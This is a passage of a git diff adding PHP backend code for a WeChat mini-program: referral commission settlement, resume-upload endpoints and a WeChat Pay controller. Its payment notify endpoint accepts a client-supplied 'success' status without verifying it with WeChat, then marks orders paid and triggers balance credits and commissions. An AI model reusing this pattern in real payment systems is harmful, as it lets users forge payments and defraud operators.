'paidAt' => $now, + 'unfrozenAt' => $now, + 'updatedAt' => $now, + ]); + + $recordTestType = null; + if (($record['commissionSource'] ?? '') === 'test_completion') { + $recordTestType = Db::name('test_results') + ->where('id', (int) ($record['testResultId'] ?? 0)) + ->value('testType'); + } elseif (!empty($record['orderId'])) { + $recordTestType = self::getOrderTestType((int) $record['orderId']); + } + + Db::name('finance_records')->insert([ + 'enterpriseId' => $enterpriseId, + 'type' => 'consume', + 'amount' => $commissionFen, + 'balanceBefore' => $balanceFen + $commissionFen, + 'balanceAfter' => $balanceFen, + 'description' => self::buildCommissionFinanceDescription((int) ($record['inviteeId'] ?? 0), $recordTestType, 'unfrozen'), + 'orderId' => !empty($record['orderId']) ? (int) $record['orderId'] : null, + 'createdAt' => $now, + ]); + + // 推荐人钱包:pending 转 balance + Db::name('wechat_users') + ->where('id', $inviterId) + ->inc('walletBalance', $commissionFen) + ->dec('walletPending', $commissionFen) + ->inc('walletTotalEarned', $commissionFen) + ->update(['updatedAt' => $now]); + } + + // 更新企业余额 + Db::name('enterprises') + ->where('id', $enterpriseId) + ->update([ + 'balance' => $balanceFen, + 'updatedAt' => $now, + ]); + + Db::commit(); + } catch (\Exception $e) { + Db::rollback(); + } + } + + /** + * 读取提现上下限(分) + * @return array{int,int} [minFen, maxFen] maxFen=0 表示不限制 + */ + private static function getWithdrawLimits(string $scope, ?int $enterpriseId): array + { + $cfg = self::getDistributionConfig($scope, $enterpriseId); + $minFen = max(self::MIN_WITHDRAW_FEN, min(self::MAX_WITHDRAW_FEN, (int)($cfg['minWithdrawFen'] ?? self::MIN_WITHDRAW_FEN))); + $maxFen = (int)($cfg['maxWithdrawFen'] ?? 0); + if ($maxFen > 0) { + $maxFen = min(self::MAX_WITHDRAW_FEN, $maxFen); + } + return [$minFen, $maxFen]; + } + + /** + * 读取分销配置 + * 企业模式:enterprise_id={eid} 行,不存在则降级到 enterprise_id=0 全局行 + * 个人版:enterprise_id=0 行 + */ + private static function getDistributionConfig(string $scope, ?int $enterpriseId): array + { + if ($enterpriseId > 0) { + $config = Db::name('system_config') + ->where('key', 'distribution') + ->where('enterprise_id', $enterpriseId) + ->find(); + if ($config && $config['value']) { + $cfg = is_string($config['value']) ? json_decode($config['value'], true) : $config['value']; + if (is_array($cfg)) return $cfg; + } + } + // 全局/个人版配置(enterprise_id=0) + $config = Db::name('system_config') + ->where('key', 'distribution') + ->where('enterprise_id', 0) + ->find(); + if ($config && $config['value']) { + $cfg = is_string($config['value']) ? json_decode($config['value'], true) : $config['value']; + if (is_array($cfg)) return $cfg; + } + return []; + } + + /** + * 读取佣金配置,返回 [rate, amountFen];比例模式 rate>0 amountFen=0,金额模式 amountFen>0 rate=0 + * @deprecated 用 getTestCommissionConfig 替代 + */ + private static function getCommissionConfig(string $scope, ?int $enterpriseId): array + { + $cfg = self::getDistributionConfig($scope, $enterpriseId); + $type = $cfg['commissionType'] ?? 'ratio'; + if ($type === 'amount') { + $amountFen = (int)($cfg['commissionAmountFen'] ?? 0); + return [0, $amountFen]; + } + $rate = (int)($cfg['commissionRate'] ?? 90); + return [$rate, 0]; + } + + /** + * 读取指定测试类型的佣金配置 [rate, amountFen] + * 优先使用 testSettings[testType],若无则回退全局 commissionRate/commissionAmountFen + */ + private static function getTestCommissionConfig(?string $testType, string $scope, ?int $enterpriseId): array + { + $ts = self::resolveTestSetting($testType, $enterpriseId); + if ($ts) { + $commType = $ts['commissionType'] ?? 'ratio'; + if ($commType === 'amount') { + return [0, (int)($ts['commissionAmountFen'] ?? 0)]; + } + return [(int)($ts['commissionRate'] ?? 90), 0]; + } + return self::getCommissionConfig($scope, $enterpriseId); + } + + /** + * 解析某测试类型的 testSettings 配置(企业优先,回退全局),返回 null 表示未启用 + */ + private static function resolveTestSetting(?string $testType, ?int $enterpriseId): ?array + { + if (!$testType) return null; + $tryEids = array_filter([$enterpriseId > 0 ? $enterpriseId : null, null], fn($v) => $v !== false); + foreach ($tryEids as $eid) { + $cfg = self::getDistributionConfig('personal', $eid); + $ts = $cfg['testSettings'][$testType] ?? null; + if ($ts && !empty($ts['enabled'])) { + return $ts; + } + } + return null; + } + + /** + * 查找 personal 维度有效绑定: + * 1. 优先 `enterpriseId = 当前企业` + * 2. 其次 `enterpriseId IS NULL` + */ + private static function findActivePersonalBinding(int $inviteeId, ?int $enterpriseId): ?array + { + if ($enterpriseId > 0) { + $binding = Db::name('distribution_bindings') + ->where('inviteeId', $inviteeId) + ->where('scope', 'personal') + ->where('enterpriseId', $enterpriseId) + ->where('status', 'active') + ->where('expireAt', '>', time()) + ->find(); + if ($binding) { + return $binding; + } + } + + $binding = Db::name('distribution_bindings') + ->where('inviteeId', $inviteeId) + ->where('scope', 'personal') + ->whereNull('enterpriseId') + ->where('status', 'active') + ->where('expireAt', '>', time()) + ->find(); + + return $binding ?: null; + } + + /** + * 读取佣金比例配置(百分比整数,兼容旧逻辑) + */ + private static function getCommissionRate(string $scope, ?int $enterpriseId): int + { + list($rate, $amountFen) = self::getCommissionConfig($scope, $enterpriseId); + return $rate; + } + + /** + * 根据订单读取测试类型 + */ + private static function getOrderTestType(int $orderId): ?string + { + if ($orderId <= 0) { + return null; + } + + $testType = Db::name('test_results') + ->where('orderId', $orderId) + ->value('testType'); + + if (!$testType) { + return null; + } + + return $testType === 'ai' ? 'face' : $testType; + } + + /** + * 获取用户展示名称 + */ + private static function getUserDisplayName(int $userId): string + { + if ($userId <= 0) { + return '未知用户'; + } + + $nickname = Db::name('wechat_users') + ->where('id', $userId) + ->value('nickname'); + + return $nickname ? (string) $nickname : ('用户' . $userId); + } + + /** + * 测试类型文案 + */ + private static function getTestTypeLabel(?string $testType): string + { + $normalized = $testType === 'ai' ? 'face' : (string) $testType; + $map = [ + 'face' => '人脸', + 'mbti' => 'MBTI', + 'disc' => 'DISC', + 'pdp' => 'PDP', + ]; + + return $map[$normalized] ?? strtoupper($normalized ?: '未知测试'); + } + + /** + * 企业财务流水中的佣金支出说明 + */ + private static function buildCommissionFinanceDescription(int $inviteeId, ?string $testType, string $scene): string + { + $userName = self::getUserDisplayName($inviteeId); + $testLabel = self::getTestTypeLabel($testType); + + if ($scene === 'unfrozen') { + return '佣金支出:用户' . $userName . '测试' . $testLabel . '完成分销(冻结后解冻)'; + } + + return '佣金支出:用户' . $userName . '测试' . $testLabel . '完成分销'; + } + + // ───────────────────────────────────────────────────────────── + // 内部方法:测试完成后结算「测试完成佣金」(由 Test/submit 调用) + // 仅适用于 personal scope;只要有有效绑定即可,无需付款。 + // 防重:同一 testResultId 只结算一次。 + // ───────────────────────────────────────────────────────────── + public static function settleTestCommission(int $testResultId, int $inviteeId, string $testType): void + { + // 仅支持指定测试类型 + $allowedTypes = ['face', 'mbti', 'disc', 'pdp']; + // face/ai 统一归类为 face + $normalizedType = ($testType === 'ai') ? 'face' : $testType; + if (!in_array($normalizedType, $allowedTypes, true)) { + return; + } + + // 读取 testSettings 配置:优先读用户所属企业配置,未配置则回退全局 + $userEid = (int)(Db::name('wechat_users')->where('id', $inviteeId)->value('enterpriseId') ?? 0); + $tsConfig = self::resolveTestSetting($normalizedType, $userEid); + if (!$tsConfig || empty($tsConfig['enabled']) || empty($tsConfig['noPayment'])) { + return; + } + list($rate, $amountFen) = self::getTestCommissionConfig($normalizedType, 'personal', $userEid > 0 ? $userEid : null); + $commissionFen = 0; + if ($amountFen > 0) { + $commissionFen = $amountFen; + } elseif ($rate > 0) { + // noPayment 场景无订单金额,若为比例则跳过(无金额可算) + return; + } + if ($commissionFen <= 0) { + return; + } + + // 查找该用户 personal scope 的有效绑定:优先企业 personal 绑定,再回退全局 personal 绑定 + $binding = self::findActivePersonalBinding($inviteeId, $userEid > 0 ? $userEid : null); + if (!$binding) { + return; + } + + $inviterId = (int) $binding['inviterId']; + $recordEnterpriseId = $userEid > 0 + ? $userEid + : (((int)($binding['enterpriseId'] ?? 0)) > 0 ? (int)$binding['enterpriseId'] : null); + + // 防重:同一 testResultId 只允许一条 test_completion 佣金 + $exists = Db::name('commission_records') + ->where('testResultId', $testResultId) + ->where('commissionSource', 'test_completion') + ->find(); + if ($exists) { + return; + } + + $now = time(); + Db::startTrans(); + try { + $commissionStatus = 'paid'; + + if ($recordEnterpriseId) { + // 企业上下文:先扣企业余额;不足则冻结到后续补余额再解冻 + $enterprise = Db::name('enterprises') + ->where('id', $recordEnterpriseId) + ->field('id, balance') + ->lock(true) + ->find(); + + $balanceFen = (int) ($enterprise['balance'] ?? 0); + if ($enterprise && $balanceFen >= $commissionFen) { + $newBalanceFen = $balanceFen - $commissionFen; + Db::name('enterprises') + ->where('id', $recordEnterpriseId) + ->update([ + 'balance' => $newBalanceFen, + 'updatedAt' => $now, + ]); + + Db::name('finance_records')->insert([ + 'enterpriseId' => $recordEnterpriseId, + 'type' => 'consume', + 'amount' => $commissionFen, + 'balanceBefore' => $balanceFen, + 'balanceAfter' => $newBalanceFen, + 'description' => self::buildCommissionFinanceDescription($inviteeId, $normalizedType, 'test_completion'), + 'orderId' => null, + 'createdAt' => $now, + ]); + + Db::name('wechat_users') + ->where('id', $inviterId) + ->inc('walletBalance', $commissionFen) + ->inc('walletTotalEarned', $commissionFen) + ->update(['updatedAt' => $now]); + } else { + Db::name('wechat_users') + ->where('id', $inviterId) + ->inc('walletPending', $commissionFen) + ->update(['updatedAt' => $now]); + + $commissionStatus = 'frozen'; + } + } else { + // 无企业上下文时仍由平台直接发放 + Db::name('wechat_users') + ->where('id', $inviterId) + ->inc('walletBalance', $commissionFen) + ->inc('walletTotalEarned', $commissionFen) + ->update(['updatedAt' => $now]); + } + + // 写佣金记录 + Db::name('commission_records')->insert([ + 'agentId' => $inviterId, + 'orderId' => null, + 'testResultId' => $testResultId, + 'commissionSource' => 'test_completion', + 'scope' => 'personal', + 'enterpriseId' => $recordEnterpriseId, + 'inviterId' => $inviterId, + 'inviteeId' => $inviteeId, + 'bindingId' => (int) $binding['id'], + 'commissionRate' => $rate, + 'orderAmount' => 0, + 'commissionFen' => $commissionFen, + 'commissionAmount' => number_format($commissionFen / 100, 2, '.', ''), + 'status' => $commissionStatus, + 'frozenAt' => $commissionStatus === 'frozen' ? $now : null, + 'paidAt' => $commissionStatus === 'paid' ? $now : null, + 'createdAt' => $now, + 'updatedAt' => $now, + ]); + + Db::commit(); + } catch (\Throwable $e) { + Db::rollback(); + Log::error('settleTestCommission failed', [ + 'testResultId' => $testResultId, + 'inviteeId' => $inviteeId, + 'testType' => $testType, + 'normalizedType' => $normalizedType, + 'userEnterpriseId' => $userEid, + 'bindingId' => (int)($binding['id'] ?? 0), + 'inviterId' => $inviterId, + 'commissionFen' => $commissionFen, + 'message' => $e->getMessage(), + ]); + } + } +} diff --git a/api/app/controller/api/EnterpriseResume.php b/api/app/controller/api/EnterpriseResume.php new file mode 100644 index 0000000..def8ab1 --- /dev/null +++ b/api/app/controller/api/EnterpriseResume.php @@ -0,0 +1,250 @@ +request->user ?? null; + if (!$user || ($user['source'] ?? '') !== 'wechat') { + return error('未登录', 401); + } + + $userId = (int) ($user['user_id'] ?? $user['userId'] ?? 0); + if ($userId <= 0) { + return error('未登录', 401); + } + + $enterpriseId = Request::param('enterpriseId'); + $page = max(1, (int) Request::param('page', 1)); + $pageSize = min(100, max(1, (int) Request::param('pageSize', 50))); + + $query = EnterpriseResumeUpload::where('userId', $userId) + ->field('id, userId, enterpriseId, fileUrl, fileName, is_default, createdAt as created_at_ts') + ->order('createdAt', 'desc'); + + if ($enterpriseId !== null && $enterpriseId !== '') { + $eid = (int) $enterpriseId; + if ($eid > 0) { + $query->where('enterpriseId', $eid); + } else { + $query->whereNull('enterpriseId'); + } + } + + $total = $query->count(); + $rows = $query->page($page, $pageSize)->select()->toArray(); + + $list = []; + foreach ($rows as $row) { + $ts = $this->pickCreatedAt($row); + $list[] = [ + 'id' => (int) ($row['id'] ?? 0), + 'url' => (string) ($row['fileUrl'] ?? ''), + 'fileName' => (string) ($row['fileName'] ?? ''), + 'uploadedAt' => $ts, + 'uploadedAtStr' => $this->formatTime($ts), + 'isDefault' => (int) ($row['is_default'] ?? 0) === 1, + ]; + } + + return success([ + 'list' => $list, + 'total' => $total, + 'page' => $page, + 'pageSize' => $pageSize, + ]); + } + + /** + * 新增一条简历上传记录(上传文件后由前端调用) + * POST /api/enterprise/resume-uploads + * body: { "url": "文件URL", "fileName": "原始文件名", "enterpriseId": 可选 } + */ + public function add() + { + $user = $this->request->user ?? null; + if (!$user || ($user['source'] ?? '') !== 'wechat') { + return error('未登录', 401); + } + + $userId = (int) ($user['user_id'] ?? $user['userId'] ?? 0); + if ($userId <= 0) { + return error('未登录', 401); + } + + $url = Request::param('url'); + $fileName = Request::param('fileName', ''); + $enterpriseId = Request::param('enterpriseId'); + + if (empty($url) || !is_string($url)) { + return error('缺少文件地址 url', 400); + } + + $url = trim($url); + if ($url === '') { + return error('url 不能为空', 400); + } + + $fileName = is_string($fileName) ? trim($fileName) : ''; + if ($fileName === '') { + $fileName = '简历文件'; + } + + $eid = null; + if ($enterpriseId !== null && $enterpriseId !== '') { + $eid = (int) $enterpriseId; + if ($eid <= 0) { + $eid = null; + } + } + // 前端未传或为 0 时:用当前用户绑定企业(wechat_users.enterpriseId)补全 + if ($eid === null) { + $wu = Db::name('wechat_users')->where('id', $userId)->field('enterpriseId')->find(); + if (!empty($wu['enterpriseId']) && (int) $wu['enterpriseId'] > 0) { + $eid = (int) $wu['enterpriseId']; + } + } + + $record = new EnterpriseResumeUpload(); + $record->userId = $userId; + $record->enterpriseId = $eid; + $record->fileUrl = $url; + $record->fileName = $fileName; + $record->createdAt = time(); + $record->save(); + + return success([ + 'id' => (int) $record->id, + 'url' => $record->fileUrl, + 'fileName' => $record->fileName, + 'uploadedAt' => (int) $record->createdAt, + 'uploadedAtStr' => $this->formatTime($record->createdAt), + ]); + } + + /** + * 设为默认简历(同用户同企业仅一条为默认) + * POST /api/enterprise/resume-uploads/set-default body: { "id": 记录ID } + */ + public function setDefault() + { + $user = $this->request->user ?? null; + if (!$user || ($user['source'] ?? '') !== 'wechat') { + return error('未登录', 401); + } + + $userId = (int) ($user['user_id'] ?? $user['userId'] ?? 0); + if ($userId <= 0) { + return error('未登录', 401); + } + + $id = (int) Request::param('id', 0); + if ($id <= 0) { + return error('缺少或无效的记录 id', 400); + } + + $record = EnterpriseResumeUpload::where('id', $id)->where('userId', $userId)->find(); + if (!$record) { + return error('记录不存在或无权操作', 404); + } + + $eid = isset($record->enterpriseId) && (int) $record->enterpriseId > 0 ? (int) $record->enterpriseId : null; + + Db::name('enterprise_resume_uploads') + ->where('userId', $userId) + ->where(function ($q) use ($eid) { + if ($eid !== null) { + $q->where('enterpriseId', $eid); + } else { + $q->whereNull('enterpriseId'); + } + }) + ->update(['is_default' => 0]); + + $record->is_default = 1; + $record->save(); + + return success(['id' => (int) $record->id, 'isDefault' => true]); + } + + /** + * 删除一条简历上传记录(仅本人可删) + * POST /api/enterprise/resume-uploads/delete body: { "id": 记录ID } + */ + public function delete() + { + $user = $this->request->user ?? null; + if (!$user || ($user['source'] ?? '') !== 'wechat') { + return error('未登录', 401); + } + + $userId = (int) ($user['user_id'] ?? $user['userId'] ?? 0); + if ($userId <= 0) { + return error('未登录', 401); + } + + $id = (int) Request::param('id', 0); + if ($id <= 0) { + return error('缺少或无效的记录 id', 400); + } + + $record = EnterpriseResumeUpload::where('id', $id)->where('userId', $userId)->find(); + if (!$record) { + return error('记录不存在或无权操作', 404); + } + + $record->delete(); + return success(['id' => $id]); + } + + /** + * 从查询行中取出时间戳(优先用 SQL 别名 created_at_ts,再兼容 createdAt/created_at); + * 若值为 4 位数(如年份 2026)则视为无效,返回 0。 + */ + private function pickCreatedAt(array $row): int + { + $v = $row['created_at_ts'] ?? $row['createdAt'] ?? $row['created_at'] ?? $row['createdat'] ?? null; + if ($v === null) { + return 0; + } + $ts = (int) $v; + if ($ts <= 0) { + return 0; + } + // 小于约 1971 年的秒数视为无效(避免误存为年份 2026 等) + if ($ts < 86400 * 365) { + return 0; + } + return $ts; + } + + private function formatTime($ts) + { + $ts = (int) $ts; + if ($ts <= 0 || $ts < 86400 * 365) { + return ''; + } + $d = getdate($ts); + return sprintf( + '%04d-%02d-%02d %02d:%02d', + $d['year'], + $d['mon'], + $d['mday'], + $d['hours'], + $d['minutes'] + ); + } +} diff --git a/api/app/controller/api/Payment.php b/api/app/controller/api/Payment.php new file mode 100644 index 0000000..9176038 --- /dev/null +++ b/api/app/controller/api/Payment.php @@ -0,0 +1,909 @@ +resolveUser(); + if (!$user) { + return error('未登录', 401); + } + + $orderId = Request::param('orderId', ''); + $amountFen = (int) Request::param('amount', 0); // 单位:分 + $description = Request::param('description', ''); + $productType = Request::param('productType', ''); + $paymentMethod = Request::param('paymentMethod', 'wechat'); + $openId = Request::param('openId', ''); + $quantity = (int) Request::param('quantity', 1); + $testResultId = (int) Request::param('testResultId', 0); // 可选,关联 mbti_test_results.id + $deepProductId = (string) Request::param('deepProductId', ''); // 深度服务套餐ID/产品Key(来自 deep-pricing.categories) + $enterpriseIdParam = (int) Request::param('enterpriseId', 0); + + if (empty($orderId)) { + return error('订单ID不能为空', 400); + } + if (empty($productType)) { + return error('产品类型不能为空', 400); + } + if ($quantity <= 0) { + $quantity = 1; + } + + $userId = (int) ($user['user_id'] ?? $user['userId'] ?? 0); + if ($userId <= 0) { + return error('用户信息异常', 400); + } + + // 企业ID 与金额优先从 test_results 读取(历史记录进入:enterpriseId 为空则按个人价;金额用 paidAmount) + $enterpriseId = null; + $fixedAmountFen = null; + + // 未显式传 testResultId 时:优先绑定到“最近一条同类型测试”,并以该记录的 enterpriseId/paidAmount 定价 + if ($testResultId <= 0) { + $testTypeMap = [ + 'face' => 'face', + 'mbti' => 'mbti', + 'disc' => 'disc', + 'pdp' => 'pdp', + 'resume' => 'resume', + ]; + if (isset($testTypeMap[$productType])) { + $latestTest = Db::name('test_results') + ->where('userId', $userId) + ->where('testType', $testTypeMap[$productType]) + ->order('createdAt', 'desc') + ->find(); + if ($latestTest && !empty($latestTest['id'])) { + $testResultId = (int) $latestTest['id']; + } + } + } + + if ($testResultId > 0) { + $tr = Db::name('test_results') + ->where('id', $testResultId) + ->where('userId', $userId) + ->field('enterpriseId,paidAmount,requiresPayment,testType') + ->find(); + if ($tr) { + $enterpriseId = !empty($tr['enterpriseId']) ? (int) $tr['enterpriseId'] : null; + $paidAmount = isset($tr['paidAmount']) ? (int) $tr['paidAmount'] : 0; + if ($paidAmount > 0) { + $fixedAmountFen = $paidAmount; + } + } + } + + // 充值场景:优先使用显式传入的企业ID,否则回退到当前用户已绑定企业 + if ($productType === 'recharge') { + if ($enterpriseIdParam > 0) { + $enterpriseId = $enterpriseIdParam; + } elseif (empty($enterpriseId)) { + $enterpriseId = $this->resolveEnterpriseId($userId); + } + + if (empty($enterpriseId)) { + return error('充值必须指定企业', 400); + } + } + + // 计算订单金额(分)与定价类型(personal/enterprise) + if ($fixedAmountFen !== null) { + $pricingType = $enterpriseId ? 'enterprise' : 'personal'; + $amountFenCalculated = $fixedAmountFen; + } else { + [$amountFenCalculated, $pricingType] = $this->calculateAmount( + $productType, + $quantity, + $amountFen, + $user, + $enterpriseId, + $deepProductId + ); + } + + if ($amountFenCalculated <= 0) { + return error('订单金额无效,请检查定价配置或请求参数', 400); + } + + // 检查订单是否已存在,避免重复创建 + $existing = Db::name('orders') + ->where('orderNo', $orderId) + ->find(); + + $now = time(); + + if ($existing) { + // 若已存在且已支付/关闭,则不允许重新创建 + if (in_array($existing['status'], ['paid', 'completed', 'cancelled', 'refunded', 'failed'])) { + return error('订单已存在且状态为 ' . $existing['status'], 400); + } + + // 待支付订单允许覆盖部分字段(金额/描述/支付方式),金额为分 + Db::name('orders') + ->where('id', $existing['id']) + ->update([ + 'amount' => $amountFenCalculated, + 'productType' => $productType, + 'productTitle' => $description, + 'payMethod' => $paymentMethod, + 'updatedAt' => $now, + ]); + $orderIdDb = (int) $existing['id']; + } else { + $orderIdDb = Db::name('orders')->insertGetId([ + 'orderNo' => $orderId, + 'userId' => $userId, + 'enterpriseId' => $enterpriseId, + 'productType' => $productType, + 'productTitle' => $description, + 'amount' => $amountFenCalculated, + 'status' => 'pending', + 'payMethod' => $paymentMethod, + 'payTime' => null, + 'createdAt' => $now, + 'updatedAt' => $now, + ]); + } + + // 若传入 testResultId,关联该测试结果到本订单(仅更新属于当前用户的记录) + if ($testResultId > 0) { + Db::name('test_results') + ->where('id', $testResultId) + ->where('userId', $userId) + ->update([ + 'orderId' => $orderIdDb, + 'updatedAt' => $now, + ]); + } else { + // 未显式传 testResultId 时:自动将当前用户最近一次相关测试记录绑定到本订单 + // 例如:人脸报告 → 绑定最近一条 testType=face 的记录 + $testTypeMap = [ + 'face' => 'face', + 'mbti' => 'mbti', + 'disc' => 'disc', + 'pdp' => 'pdp', + 'resume' => 'resume', + ]; + if (isset($testTypeMap[$productType])) { + $testType = $testTypeMap[$productType]; + $latestTest = Db::name('test_results') + ->where('userId', $userId) + ->where('testType', $testType) + ->order('createdAt', 'desc') + ->find(); + + if ($latestTest) { + Db::name('test_results') + ->where('id', $latestTest['id']) + ->update([ + 'orderId' => $orderIdDb, + 'updatedAt'=> $now, + ]); + } + } + } + + // 真实对接微信统一下单,生成 prepay_id 等参数 + $wechatConfig = [ + 'appid' => env('WECHAT_APPID', ''), // 小程序 AppID + 'mch_id' => env('MCH_ID', ''), // 商户号 + 'api_key' => env('API_KEY', ''), // API 密钥(MD5) + 'notify_url' => env('NOTIFY_URL', ''), // 支付结果通知回调 + ]; + + if ( + empty($wechatConfig['appid']) || + empty($wechatConfig['mch_id']) || + empty($wechatConfig['api_key']) || + empty($wechatConfig['notify_url']) + ) { + return error('微信支付配置缺失,请联系管理员检查 .env', 500); + } + + if (empty($openId)) { + return error('缺少微信 openId,无法发起支付', 400); + } + + // 微信 out_trade_no 最长 32 字节,这里做一次截断适配 + $outTradeNo = strlen($orderId) > 32 ? substr($orderId, 0, 32) : $orderId; + + $unifiedOrder = $this->createWechatUnifiedOrder( + $wechatConfig, + $outTradeNo, + $amountFenCalculated, + $description ?: 'AI性格测试-' . $productType, + $openId + ); + + if (empty($unifiedOrder['prepay_id'])) { + $msg = $unifiedOrder['message'] ?? '微信统一下单失败'; + return error($msg, 500); + } + + // 组装前端 wx.requestPayment 所需参数 + $timeStamp = (string) time(); + $nonceStr = md5(uniqid('wxpay_', true)); + $pkg = 'prepay_id=' . $unifiedOrder['prepay_id']; + $signType = 'MD5'; + + $payParams = [ + 'appId' => $wechatConfig['appid'], + 'timeStamp' => $timeStamp, + 'nonceStr' => $nonceStr, + 'package' => $pkg, + 'signType' => $signType, + ]; + $paySign = $this->buildWechatSign($payParams, $wechatConfig['api_key']); + + $paymentData = [ + 'timeStamp' => $timeStamp, + 'nonceStr' => $nonceStr, + 'package' => $pkg, + 'signType' => $signType, + 'paySign' => $paySign, + 'prepayId' => $unifiedOrder['prepay_id'], + ]; + + // 与小程序 payment.js 兼容;系统统一:金额均为分 + return success(array_merge($paymentData, [ + 'orderId' => $orderId, + 'orderDbId' => $orderIdDb, + 'amount' => $amountFenCalculated, + 'productType' => $productType, + 'pricingType' => $pricingType, + 'description' => $description, + 'enterpriseId' => $enterpriseId, + ]), '订单创建成功'); + } catch (\Exception $e) { + return error('创建订单失败:' . $e->getMessage(), 500); + } + } + + /** + * POST /api/payment/notify + * 小程序在 wx.requestPayment 成功回调后调用,用于通知后端更新订单状态。 + * 当前实现为“前端通知模式”,后续可扩展为接收微信服务端回调。 + */ + public function notify() + { + try { + $orderId = Request::param('orderId', ''); + $prepayId = Request::param('prepayId', ''); + $status = Request::param('status', 'success'); // success/failed/cancelled 等 + + if (empty($orderId)) { + return error('订单ID不能为空', 400); + } + + $order = Db::name('orders') + ->where('orderNo', $orderId) + ->find(); + + if (!$order) { + return error('订单不存在', 404); + } + + // 仅允许从 pending → 其他状态,避免重复更新已完成订单 + if ($order['status'] !== 'pending' && $order['status'] !== 'paid') { + return success(null, '订单状态已更新,无需重复通知'); + } + + $now = time(); + $newStatus = $order['status']; + + if ($status === 'success') { + $newStatus = 'paid'; + } elseif ($status === 'cancelled') { + $newStatus = 'cancelled'; + } elseif ($status === 'failed') { + $newStatus = 'failed'; + } + + Db::name('orders') + ->where('id', $order['id']) + ->update([ + 'status' => $newStatus, + 'payTime' => $status === 'success' ? ($order['payTime'] ?: $now) : $order['payTime'], + 'updatedAt'=> $now, + ]); + + // 支付成功时:将关联该订单的测试结果标记为已付款,并记录当时付款金额(分) + if ($status === 'success') { + $paidAmountFen = isset($order['amount']) ? (int) $order['amount'] : 0; + + Db::name('test_results') + ->where('orderId', $order['id']) + ->update([ + 'isPaid' => 1, + 'paidAmount'=> $paidAmountFen ?: null, + 'paidAt' => $now, + 'updatedAt' => $now, + ]); + + // 企业四项测试支付后,订单金额进入企业余额 + $this->creditEnterpriseBalanceForOrder($order, $paidAmountFen, $now); + + if (($order['productType'] ?? '') !== 'recharge') { + // 触发分销佣金结算 + try { + \app\controller\api\Distribution::settleCommission((int) $order['id']); + } catch (\Exception $e) { + // 佣金结算失败不影响主流程 + } + } + } + + return success([ + 'orderId' => $orderId, + 'status' => $newStatus, + 'prepayId' => $prepayId, + ], '订单状态已更新'); + } catch (\Exception $e) { + return error('更新订单状态失败:' . $e->getMessage(), 500); + } + } + + /** + * GET /api/payment/query + * 小程序查询订单状态:实时通过商户订单号调用微信 v3 查询接口(不依赖本地状态)。 + */ + public function query() + { + try { + $orderId = Request::param('orderId', ''); + if (empty($orderId)) { + return error('订单ID不能为空', 400); + } + + // 本地订单(可选,只用于补充非微信字段;真实支付状态以微信返回为准) + $localOrder = Db::name('orders') + ->where('orderNo', $orderId) + ->find(); + + $wechat = $this->queryWechatOrderByOutTradeNo($orderId); + if (!$wechat['success']) { + return error($wechat['message'] ?? '查询微信订单失败', 500); + } + + $data = $wechat['data'] ?? []; + $tradeState = $data['trade_state'] ?? 'UNKNOWN'; + $status = $this->mapTradeStateToStatus($tradeState); + + // 若本地有订单,顺带同步一次状态(不作为查询前置条件) + $now = time(); + if ($localOrder && in_array($status, ['paid', 'completed', 'cancelled', 'refunded', 'failed'], true)) { + $payTime = $localOrder['payTime'] ?? null; + if (isset($data['time_end'])) { + $dt = \DateTime::createFromFormat('YmdHis', $data['time_end']); + if ($dt) { + $payTime = $dt->getTimestamp(); + } + } + + // 记录旧状态,用于后续判断是否从未支付 -> 已支付,避免重复统计 + $oldStatus = $localOrder['status'] ?? null; + + Db::name('orders') + ->where('id', $localOrder['id']) + ->update([ + 'status' => $status, + 'payTime' => $payTime, + 'wechatTransactionId' => $data['transaction_id'] ?? ($localOrder['wechatTransactionId'] ?? null), + 'updatedAt' => $now, + ]); + + // 同步更新关联的测试结果(按 orderId 关联),写入付款金额与时间 + $amountFromWechat = null; + if (isset($data['total_fee'])) { + $amountFromWechat = (int) $data['total_fee']; + } + if (in_array($status, ['paid', 'completed', 'refunded'], true)) { + $finalAmount = $amountFromWechat ?? (int) $localOrder['amount']; + Db::name('test_results') + ->where('orderId', $localOrder['id']) + ->update([ + 'isPaid' => $status === 'refunded' ? 0 : 1, + 'paidAmount' => $finalAmount, + 'paidAt' => $payTime ?: $now, + 'updatedAt' => $now, + ]); + + // 仅当本地原状态不是已支付/已完成/已退款时,才认为是「首次确认支付」,用于统计画像 + $paidSet = ['paid', 'completed', 'refunded']; + if ($status !== 'refunded' && !in_array($oldStatus, $paidSet, true)) { + $userId = (int) ($localOrder['userId'] ?? 0); + $enterpriseId = isset($localOrder['enterpriseId']) ? (int) $localOrder['enterpriseId'] : null; + if (($localOrder['productType'] ?? '') !== 'recharge' && $userId > 0 && $finalAmount > 0) { + UserProfileModel::recordPayment($userId, $enterpriseId, $finalAmount); + } + + // 企业四项测试支付后,订单金额进入企业余额 + $this->creditEnterpriseBalanceForOrder($localOrder, $finalAmount, $now); + + if (($localOrder['productType'] ?? '') !== 'recharge') { + // 触发分销佣金结算 + try { + \app\controller\api\Distribution::settleCommission((int) $localOrder['id']); + } catch (\Exception $e) { + // 佣金结算失败不影响主流程 + } + } + } + } + } + + // V2: 优先使用 total_fee,退回用本地金额 + $amountTotal = null; + if (isset($data['total_fee'])) { + $amountTotal = (int) $data['total_fee']; + } elseif ($localOrder) { + $amountTotal = (int) $localOrder['amount']; + } + + // V2: 支付完成时间 time_end,格式 yyyyMMddHHmmss + $payTimeTs = null; + if (isset($data['time_end'])) { + $dt = \DateTime::createFromFormat('YmdHis', $data['time_end']); + if ($dt) { + $payTimeTs = $dt->getTimestamp(); + } + } elseif ($localOrder) { + $payTimeTs = $localOrder['payTime'] ?? null; + } + + return success([ + 'orderId' => $orderId, + 'wechatTransactionId'=> $data['transaction_id'] ?? null, + 'tradeState' => $tradeState, + 'tradeStateDesc' => $data['trade_state_desc'] ?? null, + 'amount' => $amountTotal, + 'status' => $status, + 'payMethod' => 'wechat', + 'payTime' => $payTimeTs, + 'userId' => $localOrder['userId'] ?? null, + 'enterpriseId' => $localOrder['enterpriseId']?? null, + 'productType' => $localOrder['productType'] ?? null, + 'createdAt' => $localOrder['createdAt'] ?? null, + ]); + } catch (\Exception $e) { + return error('查询订单失败:' . $e->getMessage(), 500); + } + } + + /** + * 解析当前请求中的用户信息(优先使用中间件注入的 user,其次从 JWT 中解析) + */ + protected function resolveUser(): ?array + { + $user = $this->request->user ?? null; + if ($user) { + return is_array($user) ? $user : (array) $user; + } + + $token = JwtService::getTokenFromRequest($this->request); + if (!$token) { + return null; + } + + $payload = JwtService::verifyToken($token); + if (!$payload) { + return null; + } + + return [ + 'source' => $payload['source'] ?? '', + 'user_id'=> 